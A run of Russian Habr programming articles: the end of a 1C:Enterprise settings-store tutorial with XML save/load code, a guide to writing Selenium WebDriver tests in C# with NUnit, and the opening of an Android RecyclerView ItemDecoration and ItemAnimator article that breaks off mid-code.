Возврат НастрПрогр.ChangeInfo
КонецФункции
// Принудительно устанавливает значение признака наличия несохраненных
// изменений в наборе параметров
//
// Параметры:
// НастрПрогр - ссылка на объект
// ChangeInfo - значение признака несохраненных изменений
//
Процедура НастрПрогр_SetChangeInfo(НастрПрогр, ChangeInfo) Экспорт
НастрПрогр.ChangeInfo = ChangeInfo
КонецПроцедуры
// Загружает структуру из XML-документа, размещенного в объекте ЧтениеXML.
//
// Параметры:
// НастрПрогр - ссылка на объект
// ЧтениеXML - объект для чтения XML-документа
// Возврат
// Истина, если загрузка прошла удачно и Ложь - в противном случае
//
Функция НастрПрогр_LoadSettingsFromXML(НастрПрогр, ЧтениеXML) Экспорт
Рез = Ложь; // Еще ничего загрузить не успели
НастрПрогр.ErrMsg = "";
Если ЧтениеXML <> Неопределено Тогда
Попытка
// Начальная инициализация
НастрПрогр_SetDefAttr(НастрПрогр);
// Процесс загрузки
Началась_settings = Ложь;
НазвПрм = "";
Пока ЧтениеXML.Прочитать() Цикл
Если ЧтениеXML.ЛокальноеИмя = "settings" Тогда
Если (Началась_settings = Ложь) И
(ЧтениеXML.ТипУзла = ТипУзлаXML.НачалоЭлемента) Тогда
// Началась секция с набором параметров
Началась_settings = Истина
Иначе
// Закончилась секция с набором параметров
Началась_settings = Ложь;
НазвПрм = "";
Прервать
КонецЕсли
Иначе
Если Началась_settings Тогда
// Если находимся в наборе параметров
Если ЧтениеXML.ТипУзла = ТипУзлаXML.НачалоЭлемента Тогда
// Пробуем загрузить очередной параметр
НазвПрм = ЧтениеXML.ЛокальноеИмя;
ИначеЕсли ЧтениеXML.ТипУзла = ТипУзлаXML.Текст Тогда
Если (НазвПрм <> "") И (НастрПрогр.Свойство("Set_" + НазвПрм)) Тогда
НастрПрогр_SetPrmFromStrVal(НастрПрогр, НазвПрм, ЧтениеXML.Значение);
КонецЕсли
ИначеЕсли ЧтениеXML.ТипУзла = ТипУзлаXML.КонецЭлемента Тогда
НазвПрм = ""
КонецЕсли
КонецЕсли
КонецЕсли
КонецЦикла;
// Окончание загрузки
Если НастрПрогр.ErrMsg = "" Тогда
НастрПрогр.ChangeInfo = Ложь; // Нет несохраненных изменений
Рез = Истина // Загрузка прошла успешно
КонецЕсли
Исключение
// Ошибка при чтении XML
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromXML: " + ИнформацияОбОшибке().Описание;
КонецПопытки
Иначе
// Неверно переданы параметры
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromXML: Неверно переданы параметры";
КонецЕсли;
Возврат Рез
КонецФункции
// Сохраняет структуру в XML-документ, пользуясь объектом ЗаписьXML.
//
// Параметры:
// НастрПрогр - ссылка на объект
// ЗаписьXML - объект для записи XML-документа
// Возврат
// Истина, если сохранение прошло удачно и Ложь - в противном случае
//
Функция НастрПрогр_SaveSettingsToXML(НастрПрогр, ЗаписьXML) Экспорт
Рез = Ложь; // Еще ничего сохранить не успели
НастрПрогр.ErrMsg = "";
Если ЗаписьXML <> Неопределено Тогда
Попытка
// Процесс сохранения
ЗаписьXML.ЗаписатьОбъявлениеXML();
ЗаписьXML.ЗаписатьНачалоЭлемента("settings");
// Выгрузить каждый параметр
Для Каждого Item Из НастрПрогр Цикл
Если Найти(Item.Ключ, "Set_") = 1 Тогда
НазвПрм = Сред(Item.Ключ, 5);
Если НазвПрм <> "" Тогда
ЗаписьXML.ЗаписатьНачалоЭлемента(НазвПрм);
ЗаписьXML.ЗаписатьТекст(Строка(НастрПрогр_GetPrmStrVal(НастрПрогр, НазвПрм)));
ЗаписьXML.ЗаписатьКонецЭлемента() // параметр
КонецЕсли
КонецЕсли
КонецЦикла;
// Завершение формирования XML-документа
ЗаписьXML.ЗаписатьКонецЭлемента(); // settings
Если НастрПрогр.ErrMsg = "" Тогда
НастрПрогр.ChangeInfo = Ложь; // Нет несохраненных изменений
Рез = Истина // Сохранение прошло успешно
КонецЕсли
Исключение
// Ошибка при записи XML
НастрПрогр.ErrMsg = "НастрПрогр_SaveSettingsToXML: " + ИнформацияОбОшибке().Описание;
КонецПопытки
Иначе
// Неверно переданы параметры
НастрПрогр.ErrMsg = "НастрПрогр_SaveSettingsToXML: Неверно переданы параметры";
КонецЕсли;
Возврат Рез
КонецФункции
// Загружает структуру из XML-документа, размещенного в строке XMLStr.
//
// Параметры:
// НастрПрогр - ссылка на объект
// XMLStr - строка с XML-документом
// Возврат
// Истина, если загрузка прошла удачно и Ложь - в противном случае
//
Функция НастрПрогр_LoadSettingsFromXMLStr(НастрПрогр, XMLStr) Экспорт
Рез = Ложь; // Еще ничего загрузить не успели
НастрПрогр.ErrMsg = "";
Если (XMLStr <> Неопределено) И (XMLStr <> "") Тогда
Попытка
ЧтениеXML = Новый ЧтениеXML();
ЧтениеXML.УстановитьСтроку(XMLStr);
// Выполнить основные операции
Рез = НастрПрогр_LoadSettingsFromXML(НастрПрогр, ЧтениеXML);
Исключение
// Ошибка при чтении XML
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromXMLStr: " + ИнформацияОбОшибке().Описание;
КонецПопытки
Иначе
// Неверно переданы параметры
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromXMLStr: Неверно переданы параметры";
КонецЕсли;
Возврат Рез
КонецФункции
// Сохраняет структуру в XML-документ, в строку XMLStr.
//
// Параметры:
// НастрПрогр - ссылка на объект
// XMLStr - строка, куда помещается XML-документ
// Возврат
// Истина, если сохранение прошло удачно и Ложь - в противном случае
//
Функция НастрПрогр_SaveSettingsToXMLStr(НастрПрогр, XMLStr) Экспорт
Рез = Ложь; // Еще ничего сохранить не успели
НастрПрогр.ErrMsg = "";
Попытка
ЗаписьXML = Новый ЗаписьXML();
ЗаписьXML.УстановитьСтроку();
// Выполнить основные операции
Рез = НастрПрогр_SaveSettingsToXML(НастрПрогр, ЗаписьXML);
// Возврат XML-документа в текстовой строке
Если Рез Тогда
XMLStr = ЗаписьXML.Закрыть();
КонецЕсли
Исключение
// Ошибка при записи XML
НастрПрогр.ErrMsg = "НастрПрогр_SaveSettingsToXMLStr: " + ИнформацияОбОшибке().Описание;
КонецПопытки;
Возврат Рез
КонецФункции
// Загружает структуру из XML-файла FName.
//
// Параметры:
// НастрПрогр - ссылка на объект
// FName - название файла с XML-документом
// Возврат
// Истина, если загрузка прошла удачно и Ложь - в противном случае
//
Функция НастрПрогр_LoadSettingsFromFile(НастрПрогр, Знач FName) Экспорт
Рез = Ложь; // Еще ничего загрузить не успели
НастрПрогр.ErrMsg = "";
Если (FName <> Неопределено) И (FName <> "") Тогда
Попытка
ЧтениеXML = Новый ЧтениеXML();
ЧтениеXML.ОткрытьФайл(FName);
// Выполнить основные операции
Рез = НастрПрогр_LoadSettingsFromXML(НастрПрогр, ЧтениеXML);
Исключение
// Ошибка при чтении XML
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromFile:" + ИнформацияОбОшибке().Описание;
КонецПопытки
Иначе
// Неверно переданы параметры
НастрПрогр.ErrMsg = "НастрПрогр_LoadSettingsFromFile: Неверно переданы параметры";
КонецЕсли;
Возврат Рез
КонецФункции
// Сохраняет структуру в XML-документ, в файл FName.
//
// Параметры:
// НастрПрогр - ссылка на объект
// FName - название файла, куда помещается XML-документ
// Возврат
// Истина, если сохранение прошло удачно и Ложь - в противном случае
//
Функция НастрПрогр_SaveSettingsToFile(НастрПрогр, Знач FName) Экспорт
Рез = Ложь; // Еще ничего сохранить не успели
НастрПрогр.ErrMsg = "";
Если (FName <> Неопределено) И (FName <> "") Тогда
Попытка
ПараметрыЗаписиXML = Новый ПараметрыЗаписиXML("windows-1251",,,, " ");
ЗаписьXML = Новый ЗаписьXML();
ЗаписьXML.ОткрытьФайл(FName, ПараметрыЗаписиXML);
// Выполнить основные операции
Рез = НастрПрогр_SaveSettingsToXML(НастрПрогр, ЗаписьXML);
// Закрытие файла
ЗаписьXML.Закрыть();
Исключение
// Ошибка при записи XML
НастрПрогр.ErrMsg = "НастрПрогр_SaveSettingsToFile: " + ИнформацияОбОшибке().Описание;
КонецПопытки
Иначе
// Неверно переданы параметры
НастрПрогр.ErrMsg = "НастрПрогр_SaveSettingsToFile: Неверно переданы параметры";
КонецЕсли;
Возврат Рез
КонецФункции
```
Естественно, что для получения и установки значений параметров нужно использовать подпрограммы «**НастрПрогр\_GetPrm**» и «**НастрПрогр\_SetPrm**» соответственно. Просто так присваивать значения элементам структуры, имитирующей класс, нельзя.
Это тот функционал набора настроек, который является достаточным на мой взгляд. Можете расширить его какими-либо подпрограммами по собственному желанию.
Использование данного хранилища настроек выглядит следующим образом:
```
// Процедура - обработчик события "При открытии" формы. Данное событие
// возникает при открытии формы до показа окна пользователю.
//
// Параметры:
// Нет.
//
Процедура ПриОткрытии()
// Загрузить настройки программы
НастрПрогр = НастрПрогр_Конструктор();
XMLStr = ВосстановитьЗначение("ТестоваяОбработка_НастройкиПрограммы");
Если XMLStr <> Неопределено Тогда
НастрПрогр_LoadSettingsFromXMLStr(НастрПрогр, XMLStr)
КонецЕсли;
КонецПроцедуры
// Процедура - обработчик события "При закрытии" формы. Данное событие
// возникает после закрытия формы.
// Освобождение занятых ресурсов.
//
// Параметры:
// Нет.
//
Процедура ПриЗакрытии()
// Сохранить настройки программы
Если НастрПрогр_GetChangeInfo(НастрПрогр) Тогда
XMLStr = "";
НастрПрогр_SaveSettingsToXMLStr(НастрПрогр, XMLStr);
СохранитьЗначение("ТестоваяОбработка_НастройкиПрограммы", XMLStr);
КонецЕсли;
НастрПрогр_Деструктор(НастрПрогр);
КонецПроцедуры
// Процедура - обработчик события "Нажатие" кнопки КнопкаВыводЗначений.
// Выводит текущие значения набора параметров.
//
// Параметры:
// Элемент - элемент формы - кнопка
//
Процедура КнопкаВыводЗначенийНабораНажатие(Элемент)
Сообщить("Параметр1 = " + НастрПрогр_GetPrm(НастрПрогр, "Парам1"));
Сообщить("Параметр2 = " + НастрПрогр_GetPrm(НастрПрогр, "Парам2"));
Сообщить("Параметр3 = " + НастрПрогр_GetPrm(НастрПрогр, "Парам3"));
Сообщить("Параметр4 = " + НастрПрогр_GetPrm(НастрПрогр, "Парам4"));
Сообщить("Параметр5 = " + НастрПрогр_GetPrm(НастрПрогр, "Парам5"));
КонецПроцедуры
```
Теперь разберем код диалогового окна для редактирования набора настроек. Для нашего демонстрационного набора параметров оно будет выглядеть примерно так:
Разместим на форме соответствующие элементы управления для отображения и редактирования параметров. Создадим у формы реквизиты – для каждого параметра отдельный, и привяжем к ним элементы управления. Обмен данными уже будем вести между хранилищем настроек (объектом класса **НастрПрогр**) и этими реквизитами.
Исходный код модуля этой формы будет следующим:
**Код модуля ФормаНастройкиПараметров**
```
////////////////////////////////////////////////////////////////////////////////
// ДИАЛОГ НАСТРОЙКИ ПАРАМЕТРОВ ПРОГРАММЫ
Перем НастрПрогр; // Объект с настройками программы
////////////////////////////////////////////////////////////////////////////////
// ОБРАБОТЧИКИ СОБЫТИЙ ФОРМЫ
// Процедура - обработчик события "При открытии" формы. Данное событие
// возникает при открытии формы до показа окна пользователю.
//
// Параметры:
// Нет.
//
Процедура ПриОткрытии()
// Перевести фокус на начальное поле ввода
ТекущийЭлемент = ЭлементыФормы.ПолеВводаПараметр1
КонецПроцедуры
// Процедура - обработчик события "Нажатие" кнопки КнопкаOK.
// Попытка закрытия диалога с применением настроек.
//
// Параметры:
// Элемент - кнопка
//
Процедура ОсновныеДействияФормыКнопкаОК(Кнопка)
Если CheckInput() Тогда
ЭтаФорма.Закрыть(КодВозвратаДиалога.ОК)
КонецЕсли
КонецПроцедуры
////////////////////////////////////////////////////////////////////////////////
// ВСПОМОГАТЕЛЬНЫЕ ПОДПРОГРАММЫ
// Считывает параметры из полей ввода формы и проверяет параметры на корректность.
//
// Параметры:
// Нет
// Возврат:
// Истина, если параметры заданы корректно и Ложь - в противном случае
//
Функция CheckInput()
Рез = Ложь;
ErrMsg = "";
// Здесь можно выполнить какие-то проверки
// ********************************
// Анализируем результат проверки полей ввода
Если ErrMsg = "" Тогда
// Все параметры корректны
ReadSettingsFromInterf(); // Считать из интерфейса сделанные настройки
Рез = Истина
Иначе
Предупреждение(ErrMsg)
КонецЕсли;
Возврат Рез
КонецФункции
// Загружает все настройки в интерфейс.
//
// Параметры:
// Нет
//
Процедура LoadSettingsToInterf()
Если НастрПрогр <> Неопределено Тогда
// Установить значения
Парам1 = НастрПрогр_GetPrm(НастрПрогр, "Парам1");
Парам2 = НастрПрогр_GetPrm(НастрПрогр, "Парам2");
Парам3 = НастрПрогр_GetPrm(НастрПрогр, "Парам3");
Парам4 = НастрПрогр_GetPrm(НастрПрогр, "Парам4");
Парам5 = НастрПрогр_GetPrm(НастрПрогр, "Парам5");
КонецЕсли
КонецПроцедуры
// Считать все настройки из интерфейса.
//
// Параметры:
// Нет
//
Процедура ReadSettingsFromInterf()
Если НастрПрогр <> Неопределено Тогда
// Считать значения
НастрПрогр_SetPrm(НастрПрогр, "Парам1", Парам1);
НастрПрогр_SetPrm(НастрПрогр, "Парам2", Парам2);
Если ЗначениеЗаполнено(Парам3) Тогда
НастрПрогр_SetPrm(НастрПрогр, "Парам3", Парам3)
Иначе
НастрПрогр_SetPrm(НастрПрогр, "Парам3", Неопределено)
КонецЕсли;
НастрПрогр_SetPrm(НастрПрогр, "Парам4", Парам4);
НастрПрогр_SetPrm(НастрПрогр, "Парам5", Парам5);
КонецЕсли
КонецПроцедуры
////////////////////////////////////////////////////////////////////////////////
// ПОДПРОГРАММЫ ВНЕШНЕГО ИНТЕРФЕЙСА
// Вызов диалога настройки параметров программы с сохранением их
// в наборе НастройкиПрограммы.
//
// Параметры:
// НастройкиПрограммы - набор настроек программы.
// Возврат:
// Истина, если изменения выполнены удачно и применены и Ложь, если пользователь отказался
// вносить изменения
//
Функция SetMainSettingsDlg(НастройкиПрограммы) Экспорт
Рез = Ложь; // Еще ничего не настроили
Если НастройкиПрограммы <> Неопределено Тогда
// Считать имеющиеся настройки
НастрПрогр = НастройкиПрограммы;
// Загрузить в интерфейс имеющиеся настройки
LoadSettingsToInterf();
// Вызвать диалог
Если ЭтаФорма.ОткрытьМодально() = КодВозвратаДиалога.ОК Тогда
// Параметры установлены корректно
Рез = Истина
КонецЕсли
КонецЕсли;
Возврат Рез
КонецФункции
```
А вот так используется это диалоговое окно (из окна главной формы):
```
// Процедура - обработчик события "Нажатие" кнопки КнопкаДиалогНастроек.
// Вызывает диалог установки основных настроек обработки.
//
// Параметры:
// Элемент - элемент формы - кнопка
//
Процедура КнопкаДиалогНастроекНажатие(Элемент)
// Создаем временный набор настроек
ВремНастрПрогр = НастрПрогр_Конструктор();
НастрПрогр_Assign(ВремНастрПрогр, НастрПрогр);
НастрПрогр_SetChangeInfo(ВремНастрПрогр, Ложь);
// Вызываем диалог ввода настроек
ФормаНастройкиПараметров = ЭтотОбъект.ПолучитьФорму("ФормаНастройкиПараметров", ЭтаФорма);
Если ФормаНастройкиПараметров.SetMainSettingsDlg(ВремНастрПрогр) Тогда
// Параметры изменены
Если НЕ НастрПрогр_IsEqual(НастрПрогр, ВремНастрПрогр) Тогда
// Сохранить настройки в основной набор
НастрПрогр_Assign(НастрПрогр, ВремНастрПрогр);
КонецЕсли
КонецЕсли;
НастрПрогр_Деструктор(ВремНастрПрогр)
КонецПроцедуры
```
Вот так все это делается. Ничего сложного нет. Но лично мне нравится четкий, организованный подход. Ну и переносимость опять же. Ведь для превращения этого хранилища настроек в любое другое, достаточно совершенно не задумываясь, механически переписать следующие подпрограммы:
```
Функция НастрПрогр_СоздатьОбъект()
Процедура НастрПрогр_SetDefAttr(НастрПрогр)
Функция НастрПрогр_GetPrmStrVal(НастрПрогр, PrmName)
Процедура НастрПрогр_SetPrmFromStrVal(НастрПрогр, PrmName, StrPrmVal)
```
Скачать исходные тексты рассмотренных программ (обработка для 1С 8.2) можно [здесь](https://yadi.sk/d/a5H2mZ9XkzHdm).
На этом все. Всем удачи. До встречи. | https://habr.com/ru/post/272455/ | null | ru | null |
# Разработка автоматизированных тестов на базе Selenium WebDriver 2.x
Здравствуйте, уважаемое Хабросообщество! Хочу поделиться своим способом разработки и организации написания автоматизированных тестов на базе Selenium WebDriver 2.x на языке программирования C#.
Сразу скажу, что многие тезисы, принципы и методы разработки придуманы не мной (и, наверное, не моими учителями).
Возможно, этот пост поможет тем, кто только-только начинает заниматься автоматизированным тестированием Web-приложений.
#### Подготовка
Для разработки автоматизированных тестов с использованием Selenium нам необходимы следующие компоненты:
Среда разработки, в нашем случае Visual Studio;
Программа NUnit для автоматического прогона написанных тестов (скачать можно здесь: [www.nunit.org/index.php?p=download](http://www.nunit.org/index.php?p=download));
Браузер Mozilla Firefox с двумя установленными для него плагинами: FireBug и FirePath (в данной статье не используются).
#### Настройка среды разработки
Для написания автоматизированных тестов необходимо создать новый проект типа **Class Library** (можно создать и консольное приложение, но не в нашем случае). Желательно дать ему название, которое ассоциируется с названием тестируемого проекта. Также, желательно создать тестовый проект в самом солюшене с тестируемым проектом.
После создания тестового проекта к нему необходимо подключить 3 специальные библиотеки для тестов:
**NUnit (nunit.framework)** – библиотека для непосредственного прогона автоматизированных тестов (не только для Selenium);
**WebDriver + WebDriver.Support** – непосредственно библиотеки Selenium’a.
Подключить библиотеки к тестовому проекту можно через NuGet или вручную, скачав последнюю версию с сайта [code.google.com/p/selenium/downloads/list](https://code.google.com/p/selenium/downloads/list).
#### Построение архитектуры тестового проекта
##### Базовый класс
До начала написания самих автоматизированных тестов вначале нам необходимо создать вспомогательные классы.
В тестовом проекте добавим новый класс и назовем его **SeleniumTestBase.cs** (можно и по-другому). Объявим этот класс как **public abstract**, так как именно от этого класса будут наследоваться в дальнейшем все тестовые классы. Также к классу необходимо добавить атрибут **[TestFixture]**, что обозначает класс как тест-класс. В данном классе объявляются те поля и методы, которые необходимы для прохождения любого теста.
В этом классе обязательно объявляем поле:
**protected IWebDriver Driver**; — это экземпляр драйвера браузера, который создается перед прогоном теста(-ов). Существует 4 вида драйверов (+ несколько в стадии разработки): FirefoxDriver, InternetExplorerDriver, ChromeDriver, HtmlUnitDriver (кроссплатформенный виртуальный браузер без графической составляющей).
Также в классе объявим 4 метода (хотя некоторые могут быть пустыми или\и не определятся вообще):
**public void TestInitialize() с атрибутом [TestFixtureSetUp]** – метод с данным атрибутом будет вызываться один раз перед прогоном тестов из какого-либо тестового класса (если классов несколько, то метод будет вызываться перед тестами из первого класса, потом перед методами второго класса и так далее). В этом классе желательно присвоить переменной Driver конкретное значение, например:
`Driver = new FirefoxDriver();`
**public void TestCleanup() с атрибутом [TestFixtureTearDown]** – принцип работы как у предыдущего метода, но только после прогона тест-класса. В данном классе желательно закрыть драйвер браузера, так как при прогоне следующего тест-класса обязательно создастся новый экземпляр драйвера браузера (в итоге могут остаться открытыми многие экземпляры драйвера браузера, а оперативная память не резиновая):
`Driver.Quit();`
**public void OneTearDown() с атрибутом [TearDown]** – метод вызывается после прогона каждого отдельного теста. В этом методе, например, можно почистить куки браузера перед каждым новым тестом:
`Driver.Manage().Cookies.DeleteAllCookies();`
**public void OneSetUp() с атрибутом [SetUp]** – метод вызывается перед прогоном каждого отдельного теста. Например, можно разворачивать окно браузера на весь экран при прогоне теста (неактуально для HtmlUnitDriver):
`Driver.Manage().Window.Maxmize();`
##### Обёртка
При написании разных тестов (даже в разных классах) возможно дублирование кода (точнее, оно обязательно будет). Чтобы избежать нагромождения в тестовых классах, полезно создать вспомогательный класс **static class Wrapper**, в который и выносим в отдельные методы дублирование кода.
Большинство тестов будут начинаться с одной и той же строчки кода:
`Driver.Navigate().GoToUrl(<урл>);`
Поэтому логично в классе Wrapper определить поле **private static string \_domain**, в котором пропишем нужный нам урл, а также метод для получения этого урла:
**Кусочек кода**
```
public static string GetUrl() {
_domain = "http:\\www.yandex.ru";
return _domain;
}
```
Разница между **Wrapper.cs** и **SeleniumTestBase.cs** в том, что в первом объявляются методы, которые вызываются внутри тестов (и даже внутри SeleniumTestBase), а во втором – методы, которые вызываются до или после тестов.
После создания вспомогательных тестов уже создаем обычные тестовые классы.
Таким образом, архитектура тестового проекта выглядит так:
#### Пример написания теста
Создадим новый тестовый класс и назовем его TestClass1.cs. Вначале напишем простенький код теста, далее объясним, что какая строка кода делает.
**GoTo Yandex**
```
[Test, Timeout(10000)]
public void Test1() {
Driver.Navigate().GoToUrl(Wrapper.GetUrl());
Assert.IsTrue(Driver.Title == "Яндекс");
}
```
**[Test]** – атрибут, который определяет, что данный метод является тестовым.
**Timeot(int millSec)** – работает только вместе с атрибутом Test – указывает максимально допустимое количество миллисекунд на прохождение теста. Если таймаут превышен, тест падает сразу (даже во время выполнения) и считается непройденным.
**public void** – тест должен иметь именно такой модификатор доступа и не должен возвращать никакое значение для корректной работы теста.
**Driver.Navigate().GoToUrl(Wrapper.GetUrl())** — драйвер браузера откроет нам страничку Яндекса.
**Assert.IsTrue(Driver.Title == «Яндекс»)** — непосредственная проверка, в данном случае тест проверяет, что тайтл странички есть «Яндекс», в этом случае тест считается пройденным, иначе тест не пройден.
#### Запуск тестов
Чтобы прогнать наши тесты, нам необходима специально созданная для этого программа – **NUnit** (ссылка на скачивание в начале документа).
Скомпилируем наш тестовый проект. На выходе мы имеем файл типа .dll
Запустим NUnit. Далее нажмем File-Open Project. Появится окно, в котором мы должны найти и выбрать только что скомпилированную библиотеку.
После загрузки библиотеки в программу, слева мы увидим дерево тест-классов с нашими тестами. В этом дереве можно выбрать отдельный тест, класс или все классы тестов, после чего нажать кнопку Run – и тесты начнут прогоняться. Прогон можно в любой момент остановить, нажав кнопку Stop.
После прохождения тестов, их цвет будет меняться в дереве: зеленый – тест прошел, красный – тест упал, желтый – тест не пройдет по каким-либо причинам (не падение), серый – тест еще не запускался. Под кнопками находится окошко с логом упавших тестов, по которому можно выяснить, почему упал тот или иной тест.
#### Дополнительная информация
Наиболее быстрым драйвером браузера считается ChromeDriver. Угадайте самый медленный.
Для ChromeDriver и InternetExplorerDriver необходимо скачать дополнительно приложение драйвера и положить его в директорию с проектом.
Также в тестах используются атрибуты:
**[TestCase(var v1, …, var vOver9000)]** – используется, если тест должен перебрать несколько возможных данных входа. Перед тестом можно написать любое количество тест-кейсов. Для корректной работы тест-методу необходимо передавать столько параметров, сколько переменных прописано в тест-кейсе. Тест-кейсы должны быть идентичными по составу (нельзя перед тестом писать тест-кейсы с 1 переменной, а потом с 2-мя). Пример:
**TestCase()**
```
[Test, Timeout(10000)]
[TestCase("день", 1)]
[TestCase("дня", 2)]
[TestCase("дня", 3)]
[TestCase("дня", 4)]
[TestCase("дней", 5)]
public void Test2(string str, int days) {
/*один тест превратился в 5
и на каждый тест отведено по 10 секунд*/}
```
Альтернативой тест-кейсам являются атрибуты **[Range()] и [Values()]**. Но в отличие от тест-кейсов эти атрибуты пишутся вместе с передаваемыми аргументами. **Range** лучше использовать для перечисляемых величин, **Values** – для не перечисляемых. Также, количество прогоняемых тестов будет равно количеству всех сочетаний переменных. Пример:
**Range + Values**
```
[Test]
public void Test3([Range(0,3)]int a, [Values(“0”, “1”, “2”, “3”)]string b) {
Assert.IsTrue(a.ToString() == b);
}
```
Здесь 16 тестов и только 4 из них пройдут.
#### Советы
В написании автоматизированных тестов следует придерживаться концепции *AAA – Arrange-Act-Assert*:
*Arrange* – необходимые настройки и действия перед самим тестом;
*Act* – непосредственно тест;
*Assert* – блок проверки условий типа «ожидаемый результат == текущий результат».
Возьмем пример выше, немного его переписав:
**AAA Begin**
```
[Test, Timeout(10000)]
public void Test1() {
Driver.Navigate().GoToUrl(Wrapper.GetUrl());
var title = Driver.Title;
Assert.IsTrue(title == "Яндекс");
}
```
Здесь Arrange – это переход по урлу, Act – вычисление титла страница, Assert – проверка условия «ожидаемый результат == текущий результат».
Для удобства чтения тест можно переписать так:
**AAA Complete**
```
[Test, Timeout(10000)]
public void Test1() {
//Note : Arrange
Driver.Navigate().GoToUrl("http:\\www.yandex.ru");
//Note : Act
var title = Driver.Title;
//Note : Assert
Assert.IsTrue(title == "Яндекс");
}
```
Возьмите в привычку: один тест – один Assert. Желательно не нарушать совсем или нарушать в крайних случаях (при большом количестве проверок в тесте читабельность кода снижается).
Многие селекторы в коде могут повторяться по нескольку раз. Лучше их выносить в отдельные строковые константы, так как верстка сайта может постоянно меняться, а вместе с ней и селекторы. Тогда при изменении селектора его придется менять лишь в одном месте, а не в 20-ти местах по всему проекту.
Иногда первый запуск тест может падать по таймауту, так как при первом запуске драйвера браузера возможна долгая загрузка страницы. Следует увеличить в некоторых тестах таймауты.
По стандартам качества, таймаут на загрузку страницы в браузере равен 10 секунд. Ставьте таймаут по поиску элемента на странице в 11 секунд (максимум 12).
С некоторыми элементами на странице невозможно взаимодействовать при помощи Selenium + C#. В данном случае следует использовать JavaScript + JQuery для доступа к таким элементам страницы. Пример:
**JavaScript + JQuery**
```
protected IJavaScriptExecutor _jsExecutor;
var script = @"var c = $('table>tbody:visible').last();" +
"c = c.find(\"tr:nth-child(2)\");" +
"c.find(\"td:nth-child(1)\").click();";
_jsExecutor = (IJavaScriptExecutor)Driver;
_jsExecutor.ExecuteScript(script);
```
Для удобства прогона тестов (NUnit не самая удобная вещь) можно дополнительно установить в Visual Studio плагин ReSharper, который с легкостью позволяет запускать тесты, а также смотреть результаты прогона. Но в отличие от NUnit, ReSharper – платное дополнение.
#### Заключение
Данную статью, к сожалению, нельзя считать руководством по написанию Selenium-тестов, так как здесь не описаны методы и способы тестирования Web-приложений. В частности, класс Assert для проверки условий и Selenium-методы поиска элементов на Web-странице. Этому будет посвящена другая статья.
Надеюсь, что изложенный мною подход будет использован кем-либо для написания своих автоматизированных тестов.
Спасибо за внимание! | https://habr.com/ru/post/193174/ | null | ru | null |
# Советы для профессионального использования RecyclerView. Часть 2
Продолжая [предыдущую статью](https://habr.com/post/425945/), в этой я расскажу про `ItemDecoration` и `ItemAnimator` и постараюсь объяснить принцип их работы в `RecyclerView` на примере простого приложения, которое доступно на [Github](https://github.com/passiondroid/Marvels).
1. ItemDecoration
-----------------
`ItemDecoration` используется для декорирования элементов списка в `RecyclerView`.
С помощью `ItemDecoration` вы сможете добавлять разделители между `view`-компонентам, выравнивать их или разбивать равными промежутками. Чтобы добавить простой разделитель между `view`-компонентами, воспользуйтесь классом `DividerItemDecoration`, который можно найти в библиотеке поддержки версии 25.1.0 и выше. Следующий фрагмент кода демонстрирует его реализацию:
```
mDividerItemDecoration = new DividerItemDecoration(recyclerView.getContext(),
mLayoutManager.getOrientation());
recyclerView.addItemDecoration(mDividerItemDecoration);
```
Лучший способ создания собственного разделителя — расширение класса `RecyclerView.ItemDecoration`. В примере приложения я использовал `GridLayoutManager` и применил `CharacterItemDecoration` к `RecyclerView`:
```
recyclerView.addItemDecoration(new CharacterItemDecoration(50));
```
Здесь `CharacterItemDecoration` устанавливает смещение (*англ.* offset) на 50 пикселей в своём конструкторе и переопределяет `getItemOffsets(...)`. Внутри метода `getItemOffsets()` каждое поле `outRects` определяет количество пикселей, которые необходимо установить для каждого `view`-компонента, подобно внутренним и внешним отступам. Поскольку я использовал `GridLayoutManager` и хотел настроить равные расстояния между элементами сетки, я установил отступ справа в 25 пикселей (т.е. offset/2) для каждого чётного элемента и отступ слева в 25 пикселей для каждого нечётного элемента, сохраняя при этом верхний отступ одинаковым для всех элементов.
2. ItemAnimator
---------------
`ItemAnimator` используется для анимации элементов или `view`-компонентов внутри `RecyclerView`.
Давайте сделаем наше приложение «Инстаграмоподобным», расширив `DefaultItemAnimator` и переопределив несколько методов.
```
public boolean canReuseUpdatedViewHolder(@NonNull RecyclerView.ViewHolder viewHolder) {
return true;
}
```
Метод `canReuseUpdatedViewHolder(...)` определяет, будет ли один и тот же `ViewHolder` использоваться для анимации, если данные этого элемента изменятся. Если он возвращает `false`, то оба `ViewHolders` — старый и обновленный — передаются в метод `animateChange(...)`.
```
public ItemHolderInfo recordPreLayoutInformation(@NonNull RecyclerView.State state, @NonNull RecyclerView.ViewHolder viewHolder, int changeFlags, @NonNull List payloads) {
if (changeFlags == FLAG\_CHANGED) {
for (Object payload : payloads) {
if (payload instanceof String) {
return new CharacterItemHolderInfo((String) payload);
}
}
}
return super.recordPreLayoutInformation(state, viewHolder, changeFlags, payloads);
}
public static class CharacterItemHolderInfo extends ItemHolderInfo {
public String updateAction;
public CharacterItemHolderInfo(String updateAction) {
this.updateAction = updateAction;
}
}
```
`RecyclerView` вызывает метод `recordPreLayoutInformation(...)` до начала отрисовки `layout`. `ItemAnimator` должен записывать необходимую информацию о `view`-компоненте до того, как он будет перезаписан, перемещен или удалён. Данные, возвращаемые этим методом, будут переданы соответствующему методу анимации (в нашем случае это `animateChange(...)`).
```
@Override
public boolean animateChange(@NonNull RecyclerView.ViewHolder oldHolder,
@NonNull RecyclerView.ViewHolder newHolder,
@NonNull ItemHolderInfo preInfo,
@NonNull ItemHolderInfo postInfo) {
if (preInfo instanceof CharacterItemHolderInfo) {
CharacterItemHolderInfo recipesItemHolderInfo = (CharacterItemHolderInfo) preInfo;
CharacterRVAdapter.CharacterViewHolder holder = (CharacterRVAdapter.CharacterViewHolder) newHolder;
if (CharacterRVAdapter.ACTION_LIKE_IMAGE_DOUBLE_CLICKED.equals(recipesItemHolderInfo.updateAction)) {
animatePhotoLike(holder);
}
}
return false;
}
private void animatePhotoLike(final CharacterRVAdapter.CharacterViewHolder holder) {
holder.likeIV.setVisibility(View.VISIBLE);
holder.likeIV.setScaleY(0.0f);
holder.likeIV.setScaleX(0.0f);
AnimatorSet animatorSet = new AnimatorSet();
ObjectAnimator scaleLikeIcon = ObjectAnimator.ofPropertyValuesHolder
(holder.likeIV, PropertyValuesHolder.ofFloat("scaleX", 0.0f, 2.0f),
